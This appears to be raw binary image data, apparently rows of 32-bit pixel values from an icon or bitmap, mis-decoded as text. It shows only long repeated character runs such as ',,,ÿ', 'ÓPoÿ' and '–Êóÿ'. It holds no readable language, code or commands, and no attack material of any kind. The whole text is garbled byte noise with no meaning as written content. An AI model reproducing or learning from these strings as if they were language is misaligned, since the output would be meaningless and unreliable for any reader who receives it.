,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ¿HeÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÞïûÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÍÍÍÿ...ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ(((ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿo*:ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÎôÿóùþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ‘‘‘ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿËMkÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ°×öÿþþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿüüüÿ[[[ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ‰4HÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÎæùÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿãããÿ888ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ-ÿÒPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ˜Ëóÿèóüÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ²²²ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¡=TÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ¤Ñõÿùüþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿwwwÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ"""ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿF%ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ½Þ÷ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿõõõÿKKKÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ´D_ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÚìûÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÓÓÓÿ000ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ&&&ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ`$2ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿœÍôÿñøýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜˜˜ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÄJgÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ¬Õõÿýþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿýýýÿbbbÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,